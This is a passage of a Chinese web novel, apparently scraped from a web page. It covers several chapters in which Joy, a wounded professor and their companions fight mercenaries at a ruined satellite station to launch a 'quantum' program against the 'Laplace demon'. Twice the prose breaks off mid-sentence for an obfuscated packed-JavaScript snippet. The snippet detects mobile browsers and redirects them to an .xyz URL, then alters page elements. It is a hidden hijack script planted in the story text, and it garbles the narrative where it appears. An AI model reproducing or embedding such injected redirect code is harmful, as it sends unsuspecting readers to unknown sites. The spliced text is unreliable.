没有过多商量，大家在凄冷的晨曦中迈步踏向岛中央。教授呼吸仍旧微弱，但偶尔似能听见他在昏迷里低喃“……公式……偏差……不……一定……”像在同谁继续辩论。乔伊咬住嘴唇，伸手摸了摸他滚烫的额头，轻声自语：“我们不会让你孤军奋战。” 太阳尚未正式升起，可天际已布满铅灰色云涛。战火与硝烟仍在远处此起彼伏???那条通向岛中央的路上，到底潜伏多少危机无人可知。但乔伊、林忻、顾子衿、学姐、医生、徐壮侄子，加上重伤的教授却别无选择。为了量子终端最终激活，为了与“拉普拉斯妖”决出胜负，更为了守住心中那一点不向宿命屈服的尊严，他们必须继续走下去。 破晓的微光抚过地面，如同冰冷刀刃划破黑暗。乔伊迈步时，感觉自己已走至命运之萍的最边缘，却也在心底默默祈祷：或许只要多迈一步，便能看到另一种结局的诞生。也许，这就是教授多年来坚持的信念吧。量子世界里，一切尚有叠加与重构的可能；现实世界亦然，只要不甘心放弃，哪怕黑市与“H”联手，也无法压垮人类对自由的渴望。 前方林木摇曳，晨风扑面，一行人的脚步声在落叶上显得杂乱无章，却坚定向前。在那被硝烟包裹的岛屿另一端，“拉普拉斯妖”若能看见此景，是否会感到某种不祥的预感？命运大势也许已被它算准，但人心深处那股意志，能否撼动既定公式？无人知晓答案。 正是这样的未知，让这场对决充满悬念。乔伊握紧量子终端，忽然想起那天教授教她的公式：当变量出现时，一切都将不同。她仿佛听见教授的声音在耳边说：“哪怕微小概率，也值得你去搏。”她平复心跳，对林忻等同伴轻轻点头：“走，去找信号站。” （本章完) 黑市和“H”围剿升级，教授尚未完全苏醒，量子终端锁虽解九成却缺乏网络支持，若能找到废弃的卫星站便有希望对抗“拉普拉斯妖”。他们能否在重重危机中成功连接？抑或在枪林弹雨下覆灭？一切将在下一章揭晓。 32.荒芜之塔：在量子弦上同命运死战 随着最后一抹夜色在海天交融处褪去，朝阳的灰白余影却并不带来多少温暖。整个岛屿被硝烟、血迹与残破遗迹环绕，如同一个正在坍塌的战场。谁也不知道新的危险将于何处骤然降临。 乔伊和她的同伴们，终于抵达了岛中央的废弃卫星站。这是座铁与混凝土的畸形建筑：外层墙体大块剥落，钢筋像枯骨般外露；高耸的圆盘状抛物面天线伏倒在半拱形支架上，锈迹交叠，仿佛随时可能崩塌。清晨的第一缕阳光斜射在那残破穹顶上，影子里掩埋的过去与未来，杂糅成混乱的叹息。 (1) 开篇：破晓时分的绝境 他们一行人几乎是踉跄跑进这荒凉院落的。从夜晚到黎明，连续数小时的逃亡与交火耗干了体力。林忻肩头仍在渗血，顾子衿的腿伤也加重，学姐呼吸急促，面色苍白，医生则拎着医疗箱，跌跌撞撞地护着担架上的教授。唯有乔伊在半搀半扶着林忻，又提着一把捡来的旧枪，一颗心提到了嗓子眼。 “快把教授放平！注意他的呼吸！”乔伊喊得喉咙发哑。她环顾四周，找到一块较为干燥的地面，示意顾子衿帮忙小心压稳担架。教授昏迷不醒，脸灰白如纸，胸口勉强起伏。医生做了简单的检测后，低声道：“他体内的纳米制剂药效几近耗尽，即便继续打强心针，也只能拖一时……” 听到这话，乔伊心口仿佛被刀子狠狠剜了一下。她想起教授之前多次昏迷，却依旧拼力输入量子终端的解锁指令。若不是他不惜透支生命意志，此刻那终端恐怕连90%的解锁都无法完成。握住教授冰凉的手，乔伊几乎想呼喊他醒来，可嘴唇颤了几下，却什么声音都没发出。 半晌，她才抬眼看向面前破败的主楼，“一定要在这里，找到可用的电源和天线。”林忻语气沉重：“外面海岸线处肯定还在交火，黑市与‘H’组织都在互相消耗，但他们迟早会发现我们在这里。我们必须赶在被围剿之前，让量子终端成功对抗‘拉普拉斯妖’。” “走吧，别耽误。”顾子衿嘴唇也毫无血色，却扶着腿伤倔强挺立。学姐深吸口气，一声不吭地跟上。徐壮与他的侄子依旧在后面徘徊，两人一边呈惊恐戒备，一边也知道此刻只能依赖这群年轻人，否则就只能等死。 (2) 铺垫：废弃卫星站的探索 跨过满地杂乱的金属废料与破碎玻璃，他们进入卫星站大厅。这里原本是某个军事观测所的核心区，却早被岁月与战争摧毁：操作面板上布满灰尘和蛛网，主机柜倾倒在地，线路散乱如伤痕。空气中弥漫霉味与铁锈味，每踏一步都能激起厚厚的粉尘。 学姐凝神观察那些机器，终于指着一处半毁的电力舱接口：“好像还有备用电源的痕迹……如果线路没彻底断，我们或许能让系统短暂运行。”乔伊闻言大喜：“那就试试！只要有电，就能让量子终端连上卫星网络？”她目光急切，学姐却摇头：“很难保证信号强度，我们还得设法转动外面那口大天线。可那东西锈迹斑斑，也许随时会断。” “没有更好的办法了。”顾子衿已在翻找散落的电缆和工具。林忻则打着手电筒，查看四周是否有敌人埋伏。医生在角落里给教授输液，想暂时稳住他的情况。乔伊与徐壮合力清理地面，将杂物移开，为担架腾出空间。她抬头间，看见那台看似主机的旧设备上印着某个标志——或许代表曾经的军事机密用途。如今，它们沦为一地废铁，却也成为他们最后的希望。 学姐花了近半小时，才把电源系统的大致结构摸清。她和乔伊一边拆开面板，一边用临时的导线替换烧毁部件。“快……帮我把那箱废旧螺丝和铜线递来。”她焦急呼喊。乔伊探身翻找，手臂上旧伤撕扯得钻心，但她咬住牙关，一次次递交物件。夹杂在电线堆里的破玻璃片划破她的手掌，鲜血渗出，医生过来准备包扎，被她一手推开：“别管我，先看好教授。” 一旁的顾子衿用撬棍打开另一个仪器箱，找到相对完好的蓄电池组件。林忻背部抵着墙，举枪警戒，仍不忘给予建议：“我看那宫格式天线的角度需要对准南侧上空……等电力恢复后，我们马上试着旋转。”他的话音刚落，外面就传来了一阵极轻的脚步声与沙沙磨擦声，好似有人摸近。林忻顿时屏气凝神，示意大家噤声。乔伊心头“咯噔”一下：黑市追兵来了吗？ 几人迅速关掉灯源，潜伏在昏暗里，只见一道漆黑影子在门口晃过，似在察看内部动静。紧接着，对方似乎低声咒骂了一句，“……有没有人在……”声音沙哑。林忻果断摘下一枚破片手雷，拔掉扳机，朝门外丢去。轰然一声，小范围的爆炸瞬间吞噬那人。惨叫尚未传来就被火光淹没。顾子衿捂住耳朵，脸上却没任何怜悯：“没有退路，对方先下手一样会杀光我们。” 那一闪而逝的火光照见门外还有两三道身影，他们惊呼着退后，叫嚣着可能要呼叫增援。林忻果断关上破损不堪的大门，迅速搬来几块巨石与金属板堆在门口，做一道临时掩体。乔伊心惊肉跳，却也意识到，只要一旦再被包围，这座卫星站随时会变成瓮中捉鳖。 偏偏在这样的紧急关头，学姐却大喊一声：“成功了！电源启动！”只见那台破旧控制面板上的数个指示灯齿轮般转亮，接着发出微弱电流声。乔伊来不及多想，一把抓过量子终端，将输入线接入操作台。屏幕登时闪出冰蓝色光带，进度条从90%开始攀升。她看着那闪烁的数据流，心跳声砸在耳膜，仿佛世界都要为之停顿。 (3) 高潮：量子对抗程序的激活与性命相搏 外面传来此起彼伏的枪声，偶尔也有重火力的动静。林忻、顾子衿压低身子守在门后，医生双手颤抖地为教授进行心肺保障。徐壮和侄子吓得抱头蹲在一角，面无人色。乔伊与学姐全神贯注盯着终端屏幕：“连接失败……信号不足……请调试天线。”那行字让她们如坠冰窟。 “我去弄天线！”乔伊下意决心。学姐却拉住她：“这里很危险。”乔伊回头看教授奄奄一息的身影，轻轻摇头：“再不连接，教授就……量子对抗也就半途而废。如果能接通，即使我们付出代价，也许还有一线生机。”她说着，将身上空余弹夹收进口袋，咬牙提枪。 “我跟你一起。”顾子衿忽然开口，她拖着血淋淋的腿，却依旧执拗地把枪扛在肩上，“一个人行动容易被集火，咱俩互相能掩护。”乔伊被她坚毅的神情所打动，稍作思索就点头。林忻知自己伤得更重，目前只能留在站□□击掩护：“小心，若情况不对就立刻撤回来。” 乔伊与顾子衿屏息拉开另一侧的破窗，翻进了卫星站外。刚踏出几步，清晨的寒意便伴随子弹呼啸袭来。果然有黑市雇佣兵埋伏在外，子弹擦过乔伊耳边、肩头，险些夺走她的性命。顾子衿压低身体，连开数枪逼退对方，同时大喊：“冲那边——天线架！” 她们贴墙而行，不断在残垣断壁之间躲闪，终于绕到天线基座处。那是一座被岁月侵蚀得变形严重的铁塔，顶端的圆盘轻微摇晃，看似摇摇欲坠。操作控制杆插在一堆杂乱骑缠的齿轮间，已基本生锈。乔伊攀上去两步，就被锈铁刺得鲜血淋漓。她强忍疼痛，拼死拧动卡住的齿轮。顾子衿爬到另一个平台，冒着随时可能被弹雨覆盖的风险，用工具撬动扳手，让天线慢慢转向预定方位。 子弹呼啸着在她们周围的金属上炸出火花，顾子衿好几次险些被流弹擦中。乔伊牙关咬得几乎要崩裂，拼尽全力让那生锈的扳手向下一点、再下一点。就在她几近崩溃之际，忽听见远处卫星站里传出学姐兴奋的呼喊：“信号强了！再往南再一点！”乔伊咬牙应声，再度发力——“咯吱——”一声，锈死的天线齿轮终于松动一截！ 几乎同时，一梭子弹击打在乔伊脚下，石屑飞溅。她整个人脚下一滑，差点摔下铁塔。幸而顾子衿眼疾手快，一把扯住她衣袖。“别放手！”乔伊在半空中惊魂不定地呼喊。顾子衿血迹染满臂膀，咬紧牙关把她拽回了基座平台。短短两秒的玄关，两人都已累得气喘吁吁，四肢发颤。 “行了，先下来，回去！”顾子衿扶稳乔伊。对方脸色煞白，但还是努力点头。她们互相搀扶着下了铁梯，期间时刻担心敌人会冲上来。远远便看见林忻在站门口开枪掩护，而学姐已在对讲机中急促呼叫：“你们快回来，量子终端开始运算了！” 她们加快脚步，一路跌跌撞撞地钻回破窗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074125|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外头有几名黑市雇佣兵正聚拢火力，试图炸开站房正门。乔伊看得心惊肉跳，却也无暇多想，马上随顾子衿跑到操作面板前。只见量子终端画面上数据正极速跳动，象征古怪公式的符号不断自动生成又消解，像是一场虚拟的量子风暴。进度条飚到99%，那滴答的百分比读数仿佛天启般令人屏息。 教授那边却每况愈下，医生跪坐在担架旁，已经眼含泪光。学姐双手合握作祈祷姿态：“就差一点……就差一步……”乔伊想扶住教授，却看到他呼吸愈发绵薄。她忽然想起当初教授温柔又坚毅的笑容，心口一疼，泪水扑簌簌往下掉。量子对抗——这是教授毕生追寻的突破口，也是整个人类能否挣脱“拉普拉斯妖”宿命预言的关键。 (4) 结尾：对抗初露端倪，生死徘徊的伏笔 轰隆一声巨响，黑市雇佣兵终于用□□轰开了正门！断裂门板飞撞到操作台上，溅起无数火星，电光四射的一瞬，量子终端屏幕上飘出一行暗紫色字样：“对抗模块加载完成——是否施行‘命运扰动’？”学姐睁大双眼，激动到呼吸急促：“就是它！教授设计的最终反击程序，只要启动，就能让拉普拉斯妖的数据体系出现紊乱！” 但黑市大批枪手涌入，子弹咆哮着扫射而来。林忻与顾子衿立刻闪身还击，顾子衿大腿血流不止，却仍抱槍扣动扳机；林忻满脸冷汗，然而动作依旧敏捷，一枪一个精准打中了最前头冲锋的敌人。乔伊蹲伏在量子终端旁，抬头看向学姐：“开动程序！不然我们都得死在这里！” 学姐颤抖地点下“确认”键。霎时间，量子终端爆发出耀眼光芒，芯片高速运转发出的高频嗡鸣震得人耳膜隐隐刺痛。屏幕上“命运扰动”进程开始狂飙，世界似乎在这一刻停驻了一瞬。有那么片刻，乔伊恍惚听见教授的声音——“勇敢一点，逆转命运从来都不简单，但我们有理由战斗下去。” 医生猛然尖叫：“教授……他的呼吸！”乔伊骤然回头，看到教授身体剧烈痉挛，像在与死神拔河，也仿佛被某股量子能量唤醒。她扑上去，紧紧握住他手掌，泪水不断滴落：“教授！您听得见吗？我们的程序……已经成功了……”教授睫毛微微颤动，那苍白的嘴唇似在张合，依稀吐出：“好……好……” 这一点声息，让乔伊既崩溃又燃起希望。可就在她想继续安抚之时，外面的枪声与求救声混作一团。黑市雇佣兵后续又冲进三四人，见到量子终端焕发蓝光，立刻意识到目标就在眼前。“轰”的一声，另一发榴弹爆裂在大厅天花板，天线结构的梁柱碎裂坠下，好几根钢条重重砸在地面，激起烟尘与震感。乔伊下意识扑倒保护教授，险些被破石压中。 林忻、顾子衿拼死交战，却已杀红眼。徐壮和侄子瑟缩在角落，不知所措。“拉普拉斯妖”究竟是否已被撼动？对抗程序能否在如此混乱的枪林弹雨中取得胜利？乔伊的脑海一片眩晕，她半抬头透过烟尘，看见量子终端上那行字渐渐凝固，显示“扰动开始”，宛若命运之钟的敲响。 外面，又传来轰鸣声，像是载着更多武装人员的快艇终于登岸。或许是黑市的大部队，亦或是“H”组织变招。一场更加惨烈的战事正向他们步步逼近。教授奄奄一息，程序才刚启动，众人的生路茫然无解。就连乔伊也心灰意冷地想：这就是拉普拉斯妖精心布局下的收割？还是说，这场对抗已悄然播下反转的种子？ 那一刻，朝阳刚刚挑破海天交界的阴霾，金色光线刺透云层，洒落在废弃站房的残垣断壁之上。乔伊拭去脸颊的泪与粉尘，眼里闪过一丝亮光。她甚至感觉到量子终端的蓝芒在朝霞中若隐若现，仿佛回应着某种冥冥中的信号——也许，他们并未真正穷途末路。只要教授尚存一口气，只要命运扰动程序尚在发动，那么，对未知的未来就依旧有搏杀的可能。 黑市枪手的吼声渐近，顾子衿与林忻再换上最后的弹夹，用身体死死挡在终端与教授面前。乔伊深吸一口烟尘与血腥混合的空气，抬枪对准破碎门外那群阴影，心中暗暗发誓：哪怕只剩一个人，也绝不让命运扼住咽喉。她捎带余光瞥见量子终端凌空闪动的波纹，似乎正演算出下一个不可思议的参数…… 33.烽烟深处：量子风暴的前哨战 屋外那咸湿的海风，裹挟着血与硝烟的味道，一阵阵撞击在废弃卫星站残破的墙壁上。清晨的阳光透过搁浅在顶棚的裂隙，时而有意无意地落在弥漫尘埃的室内，又被浓烈的火药味与杀意所吞噬。乔伊半跪在地，死死护着教授那几近冰冷的手。她恍惚想起第一次见到教授时的情景——他翻阅一本手稿，语气里带着沉静却又炽热的光：“拉普拉斯妖，是我们必须打破的神话。” 可惜，此刻的他已被战争与疾病折磨到奄奄一息，面庞像纸一般惨白。若不是那微不可闻的呼吸抖动，几乎让人以为他已经永远离开人世。医生跪坐在教授身旁，双手都在微微颤抖，紧张而无力地注射最后一点药剂。学姐与林忻分别占据操作台的另一端，试图修正量子终端的指令流。那终端屏幕像一只微光闪耀的眼睛，正加速迸发蓝色的符号洪流，计算的进程却几近混乱。旁边散落的金属与电线火花闪动，仿佛谁都能感受到它狂飙出超乎人类想象的能量。 “子衿，快，再压住一点火力！”林忻压低声音喊。子衿的伤腿尚未得到休整，此刻已经血迹斑斑，却依旧死死抵住射击位，与外面那些黑市雇佣兵展开你来我往的火力拼杀。她一边皱眉压枪，一边艰难地挪动脚步以免暴露要害。空气里火舌呼啸，墙体上弹孔横飞，碎石与破片四处激射，预示着随时可能降临的毁灭。 “我们快……不行了……”顾子衿猛地咳了几声，她能感觉到体温在流逝，但还是握紧那把已经只剩半匣子弹的冲锋枪，硬生生地将逼近门口的两个佣兵击倒。外面又传来此起彼伏的呼喊：“支援！这里有人在使用量子设备！老板说必须抢下程序，格杀勿论！” 乔伊听到这些疯狂的叫嚣，心里一片冰凉，却也激起最后一点倔强与愤怒。她飞快检索量子终端的界面，试图把那几条关键指令拼接完整，点下“执行”后却看到屏幕上弹出警示——“外围信号不稳定，程序或将进入强制紊乱演算”。她看着那行字，深吸一口气，用力压住右手的颤抖，还是按下“确定”。 随即，一道仿佛电流爆裂的嗡鸣声从整台终端内部震响，屏幕上纵横交错的蓝线猛然膨胀，光芒把林忻与学姐的惊愕表情都映照得看得清清楚楚。那是量子终端从未有过的激烈反应——一瞬间，乔伊似乎感觉到了一股巨大的精神震荡，像有无形的波澜穿透了周遭空间，甚至让她脑子里浮现教授曾描绘的种种可能世界的幻想。 “成功了吗？”林忻试着探头看屏幕，却又立刻侧身闪避了一串疾风般的子弹。那几发子弹呼啸而过，击中后面墙面的老旧仪器，火花四溅。学姐大喊：“程序还在运行，但很危险！我们必须保证终端不被破坏，哪怕一颗流弹打中，都可能使整个系统崩溃！” 说着，学姐把自己身体挪到控制台一角，试图以此为盾，给乔伊更多操作的空间。她的后背隐隐作痛，方才在激战中似乎已被某块飞溅的碎片划伤，但她没空去管，只能竭尽全力撑住。乔伊将教授往后拖了一点，让医生继续观察他的生命体征。医生神色紧张到极致，连声音都带着哭腔：“他的心跳又下降了……只剩下微弱的波动……再撑不住就……” 轰——外面再度传来某种重型武器的爆响。半截墙体轰然倒下，砸得地面都是尘埃乱卷。“他们动用□□了！”顾子衿焦急地吼，此时她眼前一花，险些被震波冲翻。林忻猛地一个翻滚，和顾子衿一起躲到另一侧。几名佣兵乘机冲到破门外，端起枪就想把操作台打成筛子。 乔伊见状，手里却只剩一把小口径手枪，她来不及思考，猛地冒头射击。连开两枪后，枪管卡壳了。那几个佣兵中有一人踉跄倒下，余下的却目露凶光，立刻压制火力对准乔伊，一波弹雨横扫而来。乔伊尖叫一声趴倒在操作台后，子弹擦过她的背脊，撕裂衣物，在皮肤上带起火辣辣的疼。“乔伊！”林忻大吼着侧身抬枪，果断补了几发阻击，终将那群敌人逼退。 然而，还来不及松一口气，另一批黑影又趁乱从窗口破损处翻入，装备比先前更精良。领头那人嘶哑地笑着，似乎能嗅到他们的绝望：“是不是就差一步就成功了？可惜啊，这就是你们与‘拉普拉斯妖’对抗的可悲下场。老板出得起大价钱要这玩意儿，也不管你们想干什么。”说完，他猛一挥手，示意手下分散包抄。极短的时间里，这些匪徒已将卫星站内部各个方位牢牢锁定。 废墟中，到处是残破不堪的管线与操作仪器，一旦发生交火，不但容易溅射爆炸，还会对量子终端造成无法挽回的破坏。乔伊清楚地知道这一点，唯有趴在操作台下边，用身子紧紧护着教授和机器。学姐此刻蜷缩在她身后，右手还在胡乱敲击某个指令区域：“终端还在运算……只是，这种紊乱演算模式需要更强的算力支撑，否则可能停在半程……” “那怎么办？！”乔伊慌张又焦灼，身子被尘灰和冷汗浸透。学姐用力咬牙，道：“主机负荷不够，要不然使用‘备用算力’，可那会有极大的险……”“你说的是外面那台衰落的卫星接收器吗？”乔伊瞬间明白她所指。若能借助卫星网络，让终端拓展其计算维度，就可能在关键节点上加速破局。只是，现在这废弃卫星站随时坍塌，外头又虎狼环伺，让人无从下手。 就在乔伊想再次询问细节时，一阵轻微的电子噼啪声从终端深处传出，仿佛在提醒他们：时间，快到了。林忻与顾子衿立刻相互对视一眼，心领神会后各自猛地翻身而出，同时对着先前翻窗而入的那群敌人开火。枪声瞬间淹没所有杂音，学姐护住屏幕，乔伊也破釜沉??地将教授托起一点，伸手摸到地上那条连接卫星接收器的电缆。 “你们……拖住他们……”乔伊声音颤抖，却掷地有声。她不知道自己哪来这股勇气，同时也顾不得许多。连接、插入、校对线路……她手忙脚乱地想搭建一条通往外部天线的信号路径。主机柜就在她不远处，但那里的某些电源模块已经损坏，需要手动切换。学姐强撑着身体，一边在键盘输入，一边喘着粗气道：“左下角那个接口……对，别插反了……行，检查通路……好……是这条线！” 乔伊手一抖，几乎要把线接错，而身后子弹时不时在头顶呼啸而过，碎石砸到她后背，痛得她直冒冷汗。好不容易固定住电缆，她猛地往终端上输入指令。机器屏幕顿时闪过一连串数据像飓风般刷屏，隐约再现教授设计的对抗模块模型。“快，快……”她在心底狂喊。命运或许就在这一刻决定。 顾子衿剧烈喘息，她身上伤口已无数处，满身狼狈不堪，却还是死死端着枪，用血肉之躯为乔伊和量子终端挡住对方的视线。那带队的黑市枪手呵斥手下继续包围，子衿一咬牙猛地出击，对方还没反应过来，肩膀就被她击中，一个翻滚间子衿自己也重重摔倒在地。然而，她没放下枪，继续用仅存的子弹击穿了另一个试图近身的敌人。鲜血晕染了地面与墙壁，混着硝烟在空气里弥漫，宛如地狱图景。 “子衿！”林忻惊呼。他飞身过来阻住另外两人的攻击，再次扣下扳机时却只发出空响——弹匣耗尽。他面容僵硬地丢掉枪，随即举起破片刀迎面扑上去，和对方就地扭打成一团。另一侧的学姐想要支援，却被碎裂的操作台板卡住半边身体，只能眼睁睁看着林忻陷入险境。 就在这千钧一发之际，乔伊突然抬起头，看见屏幕上终端显示了一行耀眼的大字：“纂改完成——命运扰动推进至第二阶段：未来分支预测。”她的心脏猛地狂跳：“学姐——你看——”学姐也强撑着扭头：“成了……终于……可是还差最后一步注入……我们必须让程序彻底锁定目标，才能真正冲击依据‘拉普拉斯妖’奠基的大数据体系！” 锁定目标，意味着要捕捉那些对他们最致命的敌方系统关键节点，也就意味着需要把敌方的指挥频段，以及这个世界选定的某种“命运可能性”进行对接。简而言之，必须有人突破，去到外面天线附近的发射仪表盘，做一次高强度的信号推送，而且一定要在终端完成最高级别的紊乱演算之前做到，否则一旦错过窗口就无力回天。 电光火石间，乔伊当机立断：“我去。”她抬眼扫过顾子衿和林忻那浑身是血的身躯，扫过学姐的艰难现状，又看看已经奄奄一息的教授。她顿时意识到，自己是当下唯一还能半站起来、还能勉强活动的人。学姐张了张嘴想阻止，却说不出话，只能轻轻点头：“小心……我们会尽量掩护。” 乔伊颤抖地站起身，环顾四周。大门口被炸得扭曲，正面人多势众；窗户破损口那边也有人虎视眈眈；操作室后面有个碎裂的小门，勉强可以绕去天线外平台，但同样危机四伏。她的胸中却燃起某种力量：教授的执念、所有人的希望，还有她自己的无畏与绝望交织成一股逆流。既然非去不可，那就去吧。 她咬牙扶着墙，迈过地上横七竖八的废料，强忍肩背与耳边的轰鸣，一点点往后门挪动。还没走几步，就听到身后再度爆裂的枪声及喊杀声，她忍住那股回头去看的冲动，告诉自己：只要再快一点，只要天线那头成功发射信号，就能把对抗程序推向高潮。也许，这场渡劫就能迎来转机。 破门外的平台满是断裂的护栏，乔伊小心翻爬过去，险些踩空。下面是满地碎渣与废墟，一股浓烟不知从何处升腾，让她咳得停不下来。远远可以看到那根天线支架，此刻已在激烈战火中多处变形，不断发出吱嘎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079475|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声响，仿佛随时要坍塌。最要命的是，还能看见几名黑市佣兵正聚在塔底巡逻，看样子他们也知道这天线的重要性，不可能轻易放任任何人靠近。 “怎么过去？”乔伊的脑子急速转动。正当她左右为难，忽然看到远方丛林里似乎又闪过几道火光，有人朝卫星站方向射击。那是“H”组织的人马吗？或者别的什么势力？她无从分辨，只知道此刻敌人被那边火力吸引，正往外头分散注意力。也许，这正是稍纵即逝的机会。 她屏住呼吸，猫着腰在平台上快速奔跑，随后顺着一条破旧的梯子向下攀爬，硬是忍着脚底破皮的疼痛，小心躲到一堆废材后面，再借着烟尘作为掩护，一口气摸到天线控制盘附近。那控制盘插得七扭八歪，一看就知道早已断电多时，但里面还残留些电路板与发射模块。只要乔伊能把刚才在终端接通的信号接口接上，或许能强行发送一波算力数据。 她赶紧拔下腰间携带的辅助线，正想蹲下身子连接，背后却突然传来项目iles撞击水泥的声音——有人！她猛地转身，果然一名佣兵正冷笑地举枪瞄准她。毫无躲避余地。乔伊只觉得心脏猛地一缩，整个人都屏住呼吸。对方好像要嘲弄她似的，先不急着扣扳机，反而似欣赏垂死挣扎的猎物，然后才慢慢地压下枪口：“就这？还想搞什么量子对抗？” 乔伊捏紧手中那条连接线，却感觉脑中那根弦轰然断裂。什么都别想了——她猛地将连接线甩向对方的脸，趁那人下意识晃头的空档，把身体全部力量都倾注在向前冲撞这一击。那佣兵显然没料到她一个伤痕累累的女人还能如此狠决，被硬生生撞得身体后仰。乔伊也在惯性作用下赔上自己半边肩膀的力道，痛得她几乎要昏厥，却还是死死掐住对方持枪的手腕，一咬牙把枪口从自己面门移开。 子弹“砰”地一声打到旁边的废墟上，火星四射。乔伊一脚踹向对方小腿，整个人几乎也摔倒在地。对方暴怒地咒骂，顺势一肘击中乔伊的胸口。她眼前一黑，口里立刻涌上一股腥甜气息，差点吐出血来。可她没有放手，而是逮住机会在地面摸到一块尖锐石片，对着那人的大腿狠狠戳下去。对方顿时惨叫，瞬间松手。乔伊夺过他的枪，心里没有一秒犹豫，“砰砰”两声击毙了这名敌兵。惊魂未定，她整个人都在颤抖，但依然挣扎着让自己清醒。 无暇顾及更多，她摇摇晃晃地重新朝那控制盘走去，强行按下电路板开关，将信号线插进空置的发射端口。随后急促地在面板上摁下几个按钮，尝试激活早已灰暗的系统。几秒钟后，指示灯果然闪了闪，但又熄灭了。乔伊咬紧牙关，一掌拍向面板：“别啊……” 在似乎要绝望的瞬间，忽然有一道微弱的绿光亮起。面板上显示几行乱码般的字符，同时那个长久未动的天线圆盘也发出刺耳的齿轮摩擦声，勉强朝夜空方向转动几度，似是在捕捉某个频段。乔伊赶紧按下启动，大声对着特制耳麦喊：“学姐，能收到吗？我已经把信号发出去……你那边看得到外部算力支持没有？” 耳麦里一片嘈杂，时不时还传来站房里激烈交火的声音。乔伊心都提到嗓子眼儿，生怕等来的却是终端毁灭的噩耗。过了好几秒，她才听到学姐断断续续的声音：“有……些……数值变化……再等等……够再……十秒就……完成……就能……进行对抗——” 乔伊心头猛跳：只有十秒了！她飞快地输入最后一个指令，把剩下那几条机能全部激活。外面的黑市人与“H”组织似乎还在混战，多方势力的炮火都令人心惊胆战。遥远处不断映出红黄相间的爆炸光焰，像死亡的讯号在这个晨曦中残酷绽放。她死死摁住面板，不敢有丝毫松懈：“十秒……八秒……快点……” 伴随着一声沉重的轰鸣，天线突然拔高角度，似乎锁定了某颗尚能运行的卫星。乔伊能感受到周围空气里仿佛有电流在炸响。与此同时，她脑中闪过教授微笑着的那一幕：“显示命运的关键不在预知，而在改变。”也许，这会儿Professor的灵魂仍在某个维度里观察着她。她咬着嘴唇，血从唇角流下，却笑了，低声说：“教授，给我们勇气吧……” 就在最后一秒，她猛地按下“发送”。数据信号嗡鸣而出，顺着天线直冲苍穹，汇入那幅混沌的宇宙波纹里。下一秒，整座卫星站都仿佛被某种骤降的能量笼罩。恰在这时，她耳麦里骤然传来学姐极度兴奋的嘶喊：“成功了！量子对抗——开始了——” 乔伊的眼前一黑，力量一瞬被掏空，再也撑不住身体。只觉得有股灼热又寒冷的冲击波同时掠过自己，她想挣扎着回头看看远处站房里的教授和所有人，但意识却在那一刻如失重般坠入深渊…… 34.潮涌夜的火线突围 夜幕笼罩下的卫星站残骸里，弥漫着一股刺鼻的硝烟和血腥味。量子终端屏幕上的刺眼光芒已经黯淡，宛如一尾耀眼的流星，燃尽最后的轨迹后归于深沉。火光闪烁处，乔伊被简单地铺盖在地上，学姐和林忻想要为她多做点什么，却受限于物资匮乏和她极度衰弱的生命迹象，只能小心擦去她额头不断渗出的血迹。另一侧，顾子衿静静倚靠在墙角，右手仍把玩着那块爆裂烧毁的脑波采样器，神情中藏着说不清的情绪。那设备只剩残躯，火花早已熄灭，可她仿佛还在回味方才那惊心动魄的灵魂碰撞。教授依旧昏迷，却隐隐似有知觉，大概是命运在将他从混沌的边缘往回拖拽。 林忻抓紧时间对量子终端做最后的检查。她飞快敲击刚才扭曲的界面，试图确认“命运扰动”的最终数据。屏幕中央只剩下一句冰冷的提示：“完成度：100%。核心扰动已生效。下一阶段：未知。”这意味着他们已经成功踏出关键的一步，让量子分析与宿命纠缠得以扩张到某个前所未有的维度。然而，那股强大的对抗之力是否真正伤及拉普拉斯妖的核心，还是只让它暂时陷入某一场混乱尚不得而知。一切变数都悬在这个破碎之夜的风声里，任何轻微的响动都可能带来生死逆转。林忻重重叹息：“我们的工作，还有很远要走。” 学姐抬起眼：“那你还能再把终端唤醒吗？它这样算运转完成，还是要进入更多后续环节？”林忻摇摇头，一脸凝重：“从它现有的性能来看，大概已经把最后一次爆发式算力透支。除非教授再给它升级，否则接下来只能像空壳一样维持基本功能。”学姐闻言，看着教授苍白的脸，心底一声苦笑：依目前情况，他恐怕一时半会儿也无法再度操纵这台终端了。 顾子衿坐在墙角，试图把体内那股虚脱感赶开。先前脑机采样一举差点把她彻底击垮，但在那番痛苦煎熬里，她似乎真正踏进宿命与自由的深渊，看到了某些不被常人理解的光影。那些念头此刻宛如漫天萤火，在她心头若隐若现，让她忍不住低声呢喃：“人真的能超越命运吗？还是我们不过是在另一个周期里自我轮回？”她这样想，却迅速稳住心神，乔伊伤势严重，教授命悬一线，学姐和林忻都身负重伤，自己必须坚强地站起来，才不至于让这支队伍在夜里溃散。 不远处传来一阵劲风，黑市余党的哨声伴随着发动机突突的轰鸣，打破了破败屋宇里的压抑。林忻敏锐地警惕起来，她凑到破洞的窗口，看到院外翻涌的阴影中有灯光交错，大约五六人的身影正悄然逼近，那些人步伐杂乱却快速，显然经过简短的布控后开始侦查四周。学姐紧攥住手中的□□，子弹却所剩无几。顾子衿也警惕地盯着楼下楼梯，那里是残垣断壁后唯一较为通畅的路径，若敌人想摸进这半塌的卫星站大厅，从那里最为方便。 